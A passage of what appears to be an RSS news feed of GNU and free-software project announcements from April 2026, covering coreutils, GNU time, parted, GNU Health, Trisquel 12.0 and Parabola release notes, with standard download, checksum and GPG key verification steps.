  'fold', 'join', 'numfmt', 'uniq' now use more consistent blank character&lt;br /&gt;
  determination on non GLIBC platforms.  For example \u3000 (ideographic space)&lt;br /&gt;
  will be considered a blank character on all platforms.&lt;br /&gt;
&lt;br /&gt;
  'nl' now supports multi-byte --section-delimiter characters.&lt;br /&gt;
&lt;br /&gt;
  'shuf -i' now operates up to two times faster on systems with unlocked stdio&lt;br /&gt;
  functions.&lt;br /&gt;
&lt;br /&gt;
  'tac' will now exit sooner after a write error, which is significant when&lt;br /&gt;
  operating on a file with many lines.&lt;br /&gt;
&lt;br /&gt;
  'timeout' now properly detects when it is reparented by a subreaper process on&lt;br /&gt;
  Linux instead of init, e.g., the 'systemd --user' process.&lt;br /&gt;
&lt;br /&gt;
  'wc -l' now operates up to four and a half times faster on hosts that support&lt;br /&gt;
  Neon instructions.&lt;br /&gt;
&lt;br /&gt;
  'wc -m' now operates up to 2.6 times faster on GLIBC when processing&lt;br /&gt;
  non-ASCII UTF-8 characters.&lt;br /&gt;
&lt;br /&gt;
  'yes' now uses zero-copy I/O on Linux to significantly increase throughput.&lt;br /&gt;
  E.g., throughput improved 15x from 11.6GiB/s to 175GiB/s on a Power10 system.&lt;br /&gt;
&lt;br /&gt;
** Build-related&lt;br /&gt;
&lt;br /&gt;
  ./configure --enable-single-binary=hardlinks is now supported on systems&lt;br /&gt;
  with dash as the system shell at /bin/sh.&lt;br /&gt;
  [issue introduced in coreutils-9.10]&lt;br /&gt;
&lt;br /&gt;
  The test suite may have failed with a "Hangup" error if run non-interactively.&lt;br /&gt;
  [issue introduced in coreutils-9.10]&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Mon, 20 Apr 2026 14:10:56 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health GTK client 5.0.2 released</title>
	<guid>https://savannah.gnu.org/news/?id=10883</guid>
	<link>https://savannah.gnu.org/news/?id=10883</link>
     <description>  &lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
The GTK client 5.0.2 of the GNU Health Hospital and Health Management system has been released!
&lt;br /&gt;

&lt;br /&gt;
This is a maintenance patchset that fixes the following issues:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unknown icon error when registering gnu health local icons
&lt;/li&gt;
&lt;li&gt;Swapped Export - import icons
&lt;/li&gt;
&lt;li&gt;Update connection port number in README file
&lt;/li&gt;
&lt;li&gt;GNU Health GTK client does not automatically discover plugins from gnuhealth_plugins
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
You can get the latest GNU Health client from GNU.org, Python Package Index or Codeberg.
&lt;br /&gt;

&lt;br /&gt;
Happy hacking!&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Mon, 20 Apr 2026 08:03:25 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: Taler lecture at Cedarcrypt 2026</title>
	<guid>https://taler.net/en/news/2026-06.html</guid>
	<link>https://taler.net/en/news/2026-06.html</link>
     <description>  &lt;article&gt;
             by Özgür Kesim
           &lt;/article&gt; </description> 
	<pubDate>Sat, 18 Apr 2026 13:49:06 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: Thalamus 0.9.18 released</title>
	<guid>https://savannah.gnu.org/news/?id=10882</guid>
	<link>https://savannah.gnu.org/news/?id=10882</link>
     <description>  &lt;p&gt;Dear GNU Health community
&lt;br /&gt;

&lt;br /&gt;
We are happy to announce the release of Thalamus 0.9.18. Thalamus is the message and authentication server of the GNU Health Federation.
&lt;br /&gt;

&lt;br /&gt;
In this release, we have migrated to Poetry packaging system and updated the documentation (&lt;a href="https://docs.gnuhealth.org/thalamus"&gt;https://docs.gnuh ... alth.org/thalamus&lt;/a&gt;)
&lt;br /&gt;

&lt;br /&gt;
You can get Thalamus from GNU.org and the Python Package Index, PyPi
&lt;br /&gt;

&lt;br /&gt;
Happy hacking!
&lt;br /&gt;
Luis&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 17 Apr 2026 11:30:43 +0000</pubDate>

</item> 
<item>
	<title>time @ Savannah: time-1.10 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10881</guid>
	<link>https://savannah.gnu.org/news/?id=10881</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce time-1.10, a stable release.&lt;br /&gt;
&lt;br /&gt;
The 'time' command runs another program, then displays information about&lt;br /&gt;
the resources used by that program.&lt;br /&gt;
&lt;br /&gt;
There have been 79 commits by 5 people in the 422 weeks since 1.9.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Andreas Schwab (1)&lt;br /&gt;
  Assaf Gordon (10)&lt;br /&gt;
  Collin Funk (65)&lt;br /&gt;
  Dominique Martinet (1)&lt;br /&gt;
  Petr Písař (2)&lt;br /&gt;
&lt;br /&gt;
Collin&lt;br /&gt;
 [on behalf of the time maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU time home page:&lt;br /&gt;
    https://gnu.org/s/time/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.gz   (832KB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.xz   (572KB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (time-1.10.tar.gz) = 6MKftKtZnYR45B6GGPUNuK7enJCvJ9DS7yiuUNXeCcM=&lt;br /&gt;
  SHA3-256 (time-1.10.tar.gz) = zDjyfyzfABsSZp7lwXeYr368VzjZMkNPUJNnfpIakGk=&lt;br /&gt;
  SHA256 (time-1.10.tar.xz) = cGv3uERMqeuQN+ntoY4dDrfCMnrn2MLOOkgjxfgMexE=&lt;br /&gt;
  SHA3-256 (time-1.10.tar.xz) = U/Z0kMenoHkc7+rkCHMeyku8nXvIPppoQ2jq3B50e/A=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify time-1.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/8CE6491AE30D7D75 2024-03-11 [SC]&lt;br /&gt;
        Key fingerprint = 2371 1855 08D1 317B D578  E5CC 8CE6 491A E30D 7D75&lt;br /&gt;
  uid                 [ultimate] Collin Funk &amp;lt;collin.funk1@gmail.com&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key collin.funk1@gmail.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 8CE6491AE30D7D75&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=time&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify time-1.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the time git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/time.git&lt;br /&gt;
&lt;br /&gt;
with commit 40003f3c8c4ad129fbc9ea0751c651509ac5bb23 tagged as v1.10.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=time.git;a=shortlog;h=v1.10&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned time directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v1.9..v1.10&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.73&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-04-13 c754c51f0f2b9a1e22d0d3eadfefff241de0ea48&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 1.10 (2026-04-14) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  'time --help' no longer incorrectly lists the short option -h as being&lt;br /&gt;
  supported.  Previously it was listed as being equivalent to --help.&lt;br /&gt;
  [bug introduced in time-1.8]&lt;br /&gt;
&lt;br /&gt;
  'time --help' no longer emits duplicate percent signs in the description of&lt;br /&gt;
  the --portability option.&lt;br /&gt;
  [bug introduced in time-1.8]&lt;br /&gt;
&lt;br /&gt;
  time now opens the file specified by --output with its close-on-exec flag set.&lt;br /&gt;
  Previously the file descriptor would be leaked into the child process.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
  time no longer appends the program name to the output when the format string&lt;br /&gt;
  contains a trailing backslash.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
** Improvements&lt;br /&gt;
&lt;br /&gt;
  time now uses the more portable waitpid and getrusage system calls&lt;br /&gt;
  instead of wait3.&lt;br /&gt;
&lt;br /&gt;
  time can now be built using a C23 compiler.&lt;br /&gt;
&lt;br /&gt;
  time now uses unlocked stdio functions on platforms that provide them.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 15 Apr 2026 04:34:19 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health HIS server 5.0.7 patchset bundle released</title>
	<guid>https://savannah.gnu.org/news/?id=10880</guid>
	<link>https://savannah.gnu.org/news/?id=10880</link>
     <description>  &lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
I'm happy to announce the release of the patchset v5.0.7 of the GNU Health Information Management System.
&lt;br /&gt;

&lt;br /&gt;
This maintenance version fixes issues in the crypto subsystem related to the laboratory results validation process; delivers automated testing for the packages and updates pyproject.toml to the latest PEP639 specs. 
&lt;br /&gt;

&lt;br /&gt;
Main issues fixed &amp;amp; tasks related to this patchset:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;health_crypto_lab: Wrong display of the validation button and 403 error  (&lt;a href="https://codeberg.org/gnuhealth/his/issues/177"&gt;https://codeberg. ... th/his/issues/177&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update woodpecker CI and packages automated tests (thanks, Cedric!). (&lt;a href="https://codeberg.org/gnuhealth/his/commit/5decf55f83fda9e98588dbe5c11eda152df82dbf"&gt;https://codeberg. ... 5c11eda152df82dbf&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update pyproject.toml to PEP639 project.license current specification (&lt;a href="https://codeberg.org/gnuhealth/his/issues/178"&gt;https://codeberg. ... th/his/issues/178&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
For more details visit our development area at Codeberg.
&lt;br /&gt;

&lt;br /&gt;
Happy hacking!
&lt;br /&gt;
Luis&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Sat, 11 Apr 2026 21:12:18 +0000</pubDate>

</item> 
<item>
	<title>Trisquel GNU/Linux: Trisquel 12.0 "Ecne" release announcement</title>
	<guid>31762 at https://trisquel.info</guid>
	<link>https://trisquel.info/en/trisquel-120-ecne-release-announcement</link>
     <description>  &lt;p&gt;We are proud to announce the release of Trisquel 12.0 &lt;strong&gt;Ecne&lt;/strong&gt;! After extensive work and thorough testing, &lt;em&gt;Ecne&lt;/em&gt; is ready for production use. This release builds on the foundation of &lt;em&gt;Aramo&lt;/em&gt; with meaningful improvements across packaging, the kernel, security, and software availability.&lt;/p&gt;


&lt;h2 id="toc0"&gt;Major milestones&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;APT 3.0 and full deb822 repository format&lt;/strong&gt;. Trisquel 12.0 ships with APT 3.0, enabling us to fully adopt the modern deb822 repository format across all installation paths. The &lt;em&gt;netinstall&lt;/em&gt; (for text-based installation and advanced users), &lt;em&gt;Ubiquity&lt;/em&gt; (for graphical installation from a live system), as well as &lt;em&gt;Synaptic&lt;/em&gt; and other package-management tools have been updated to use the new repository formats.&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;Improved kernel modularity, and system security&lt;/strong&gt;. The kernel remains one of our biggest engineering challenges with every release. For &lt;em&gt;Ecne&lt;/em&gt;, we focused on making our kernel changes more modular, substantially reducing breakage in the udeb components used during installation. Work on updating &lt;em&gt;kernel-wedge&lt;/em&gt; is ongoing and we are well positioned to complete it. We revised many &lt;em&gt;AppArmor&lt;/em&gt; rules for graphical environments, improving security coverage for everyday desktop use.&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;New browser options&lt;/strong&gt;. Both &lt;strong&gt;GNU IceCat&lt;/strong&gt; and &lt;strong&gt;ungoogled-chromium&lt;/strong&gt; are now available in &lt;em&gt;Ecne&lt;/em&gt;, joining our continuously maintained &lt;strong&gt;Abrowser&lt;/strong&gt;, giving users a range of fully free web browsing choices.&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;Backports&lt;/strong&gt;. Our backports repository continues to provide popular applications in their latest versions, including &lt;strong&gt;LibreOffice&lt;/strong&gt;, &lt;strong&gt;yt-dlp&lt;/strong&gt;, &lt;strong&gt;Inkscape&lt;/strong&gt;, &lt;strong&gt;Nextcloud Desktop&lt;/strong&gt;, &lt;strong&gt;Kdenlive&lt;/strong&gt;, &lt;strong&gt;Tuba&lt;/strong&gt;, &lt;strong&gt;0 A.D.&lt;/strong&gt;, &lt;strong&gt;fastfetch&lt;/strong&gt;, and more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Ecne&lt;/em&gt; is based on Ubuntu 24.04 LTS and will receive support until 2029. Users of Trisquel 11.x &lt;em&gt;Aramo&lt;/em&gt; can upgrade directly using the update-manager or do-release-upgrade commands at a console terminal.&lt;/p&gt;


&lt;h2 id="toc1"&gt;Editions&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;Trisquel&lt;/strong&gt;. MATE (v1.26.1) continues to be our default desktop environment. Simple, with great accessibility, and low hardware requirements (no 3D acceleration needed).&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Triskel&lt;/strong&gt;. Our KDE (v5.27) edition is excellent for customizing the design and functionality in fine detail.&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Trisquel Mini&lt;/strong&gt;. Running LXDE (v0.99.2), the Mini edition is a lightweight desktop perfect for netbooks, old computers and users with minimal resource usage needs.&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Trisquel Sugar&lt;/strong&gt; or Trisquel On A Sugar Toast (&lt;strong&gt;TOAST&lt;/strong&gt;): Based on the Sugar learning platform (v0.121), TOAST comes with dozens of educational activities for children.&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Network installer image&lt;/strong&gt;: To deploy with a command-line install interface, it is ideal for servers and advanced users who want to explore custom designed environments.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2 id="toc2"&gt;Looking ahead&lt;/h2&gt;
&lt;p&gt;Work on the next release will start immediately, and initial groundwork for &lt;strong&gt;RISC-V architecture support&lt;/strong&gt; has already begun; an exciting new challenge as the free hardware design ecosystem continues to grow.&lt;/p&gt;

&lt;p&gt;Trisquel is a non-profit project; you can help sustain it by becoming a &lt;a href="https://trisquel.info/member"&gt;member&lt;/a&gt;, &lt;a href="https://trisquel.info/donate"&gt;donating&lt;/a&gt;, or buying from our &lt;a href="https://trisquel.info/store"&gt;store&lt;/a&gt;. Thank you to all our donors, and to the contributors who made &lt;em&gt;Ecne&lt;/em&gt; possible through code, patches, bug reports, translations, and advice. Special thanks to Luis "Ark74" Guzmán, prospero, icarolongo, Avron, knife, Simon Josefsson, Christopher Waid (ThinkPenguin), Denis "GNUtoo" Carikli, and the wonderful community that keeps the project alive and free.&lt;/p&gt;

&lt;div class="field field-type-filefield field-field-screenshots"&gt;
    &lt;div class="field-items"&gt;
            &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-mate-desktop_0.png"&gt;&lt;img alt="Mate Desktop" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-mate-desktop_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-internet_0.png"&gt;&lt;img alt="Internet" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-internet_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-games_0.png"&gt;&lt;img alt="Games" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-games_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-system_0.png"&gt;&lt;img alt="System tools" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-system_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-installer_0.png"&gt;&lt;img alt="Installer" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-installer_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-office_0.png"&gt;&lt;img alt="Office" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-office_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-triskel_0.png"&gt;&lt;img alt="Triskel (KDE Plasma)" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-triskel_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-trisquel-mini_0.png"&gt;&lt;img alt="Trisquel Mini (LXDE)" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-trisquel-mini_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-sugar_0.jpg"&gt;&lt;img alt="Sugar education environment" class="imagecache imagecache-thumbnail" height="113" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-sugar_0.jpg" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-turtle_1.jpg"&gt;&lt;img alt="Sugar activities" class="imagecache imagecache-thumbnail" height="113" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-turtle_1.jpg" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-live-menu_0.png"&gt;&lt;img alt="Live DVD/USB menu" class="imagecache imagecache-thumbnail" height="113" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-live-menu_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt; </description> 
	<pubDate>Sat, 11 Apr 2026 19:01:35 +0000</pubDate>

</item> 
<item>
	<title>parted @ Savannah: parted-3.7 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10879</guid>
	<link>https://savannah.gnu.org/news/?id=10879</link>
     <description>  &lt;p&gt;I have released parted 3.7
&lt;br /&gt;

&lt;br /&gt;
Here are the compressed sources and a GPG detached signature[*]:
&lt;br /&gt;
  &lt;a href="https://ftp.gnu.org/gnu/parted/parted-3.7.tar.xz"&gt;https://ftp.gnu.o ... parted-3.7.tar.xz&lt;/a&gt;
&lt;br /&gt;
  &lt;a href="https://ftp.gnu.org/gnu/parted/parted-3.7.tar.xz.sig"&gt;https://ftp.gnu.o ... ed-3.7.tar.xz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Use a mirror for higher download bandwidth:
&lt;br /&gt;
  &lt;a href="https://www.gnu.org/prep/ftp.html"&gt;https://www.gnu ... g/prep/ftp.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Here are the SHA256 checksums:
&lt;br /&gt;

&lt;br /&gt;
008de57561a4f3c25a0648e66ed11e7b30be493889b64334a6d70f2c1951ef7b  parted-3.7.tar.xz
&lt;br /&gt;
de51773eef47a10db34ff2462f3b3c9d987d4bdb49420f0a22e1dda1ff897a5c  parted-3.7.tar.xz.sig
&lt;br /&gt;

&lt;br /&gt;
[*] Use a .sig file to verify that the corresponding file (without the .sig
&lt;br /&gt;
suffix) is intact.  First, be sure to download both the .sig file and the
&lt;br /&gt;
corresponding tarball.  Then, run a command like this:
&lt;br /&gt;

&lt;br /&gt;
  gpg --verify parted-3.7.tar.xz.sig
&lt;br /&gt;

&lt;br /&gt;
If that command fails because you don't have the required public key,
&lt;br /&gt;
or that public key has expired, try the following commands to update
&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.
&lt;br /&gt;

&lt;br /&gt;
  gpg --locate-external-key &lt;a href="mailto:bcl@redhat.com"&gt;bcl@redhat.com&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  gpg --recv-keys 117E8C168EFE3A7F
&lt;br /&gt;

&lt;br /&gt;
  wget -q -O- '&lt;a href="https://savannah.gnu.org/project/release-gpgkeys.php?group=parted&amp;amp;download=1"&gt;https://savannah. ... ed&amp;amp;download=1&lt;/a&gt;' | gpg --import -
&lt;br /&gt;

&lt;br /&gt;
This release was bootstrapped with the following tools:
&lt;br /&gt;
  Autoconf 2.72
&lt;br /&gt;
  Automake 1.17
&lt;br /&gt;
  Gettext 0.23.1
&lt;br /&gt;
  Gnulib commit 4e11e3d07a79a49eaa9b155c43801bbc1e5bd86e
&lt;br /&gt;
  Gperf 3.1
&lt;br /&gt;

&lt;br /&gt;
NEWS
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 3.7 (2026-04-08) [stable]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
  Promoting alpha release to stable release 3.7
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Noteworthy changes in release 3.6.37 (2026-03-24) [alpha]
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
** New Features
&lt;br /&gt;

&lt;br /&gt;
   hurd: Support USB device names
&lt;br /&gt;

&lt;br /&gt;
** Bug Fixes
&lt;br /&gt;

&lt;br /&gt;
   Stop adding boot code into the MBR if it's zero when updating an
&lt;br /&gt;
   existing msdos partition table.
&lt;br /&gt;

&lt;br /&gt;
   disk.c: Update metadata after reading partition table
&lt;br /&gt;

&lt;br /&gt;
   Fix initialization of atr_c_locale inside PED_ASSERT
&lt;br /&gt;

&lt;br /&gt;
   nilfs2: Fixed possible sigsegv in case of corrupted superblock
&lt;br /&gt;

&lt;br /&gt;
   libparted: Do not detect ext4 without journal as ext2
&lt;br /&gt;

&lt;br /&gt;
   libparted: Fix dvh disklabel unhandled exception
&lt;br /&gt;

&lt;br /&gt;
   libparted: Fix sun disklabel unhandled exception
&lt;br /&gt;

&lt;br /&gt;
   parted: fix do_version declaration to work with gcc 15
&lt;br /&gt;

&lt;br /&gt;
   libparted: Fail early when detecting nilfs2
&lt;br /&gt;

&lt;br /&gt;
   doc: Document IEC unit behavior in the manpage
&lt;br /&gt;

&lt;br /&gt;
   parted: Print the Fixing... message to stderr
&lt;br /&gt;

&lt;br /&gt;
   docs: Finish setup of libparted API docs
&lt;br /&gt;

&lt;br /&gt;
   libparted: link libparted-fs-resize.so to libuuid&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 08 Apr 2026 22:57:07 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health control center 5.0.3 released</title>
	<guid>https://savannah.gnu.org/news/?id=10878</guid>
	<link>https://savannah.gnu.org/news/?id=10878</link>
     <description>  &lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
I'm happy to announce the release of the gnuhealth-control version 5.0.3
&lt;br /&gt;

&lt;br /&gt;
This version fixes some dependency issues in the context of the the initial HIS instance creation.
&lt;br /&gt;

&lt;br /&gt;
For more information about the GNU Health Control center, visit our documentation page at:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://docs.gnuhealth.org/his/techguide/administration/controlcenter.html"&gt;https://docs.gnuh ... ontrolcenter.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Issues related to this release:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://codeberg.org/gnuhealth/his-utils/issues/9"&gt;https://codeberg. ... is-utils/issues/9&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 08 Apr 2026 10:36:51 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: TalerBarr is now available to everyone</title>
	<guid>https://taler.net/en/news/2026-05.html</guid>
	<link>https://taler.net/en/news/2026-05.html</link>
     <description>  &lt;article&gt;
             by Bohdan Potuzhnyi
           &lt;/article&gt; </description> 
	<pubDate>Mon, 06 Apr 2026 22:00:00 +0000</pubDate>

</item> 
<item>
	<title>Parabola GNU/Linux-libre: iptables-legacy</title>
	<guid>tag:parabolagnulinux.org,2026-04-06:/news/iptables-legacy/</guid>
	<link>https://parabolagnulinux.org/news/iptables-legacy/</link>
     <description>  &lt;p&gt;From Arch:&lt;/p&gt;
&lt;p&gt;The old iptables-nft package name is replaced by iptables, and the
legacy backend is available as iptables-legacy.&lt;/p&gt;
&lt;p&gt;When switching packages (among iptables-nft, iptables, iptables-legacy),
check for .pacsave files in /etc/iptables/ and restore your rules if needed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/etc/iptables/iptables.rules.pacsave&lt;/li&gt;
&lt;li&gt;/etc/iptables/ip6tables.rules.pacsave&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most setups should work unchanged, but users relying on uncommon xtables
extensions or legacy-only behavior should test carefully and use
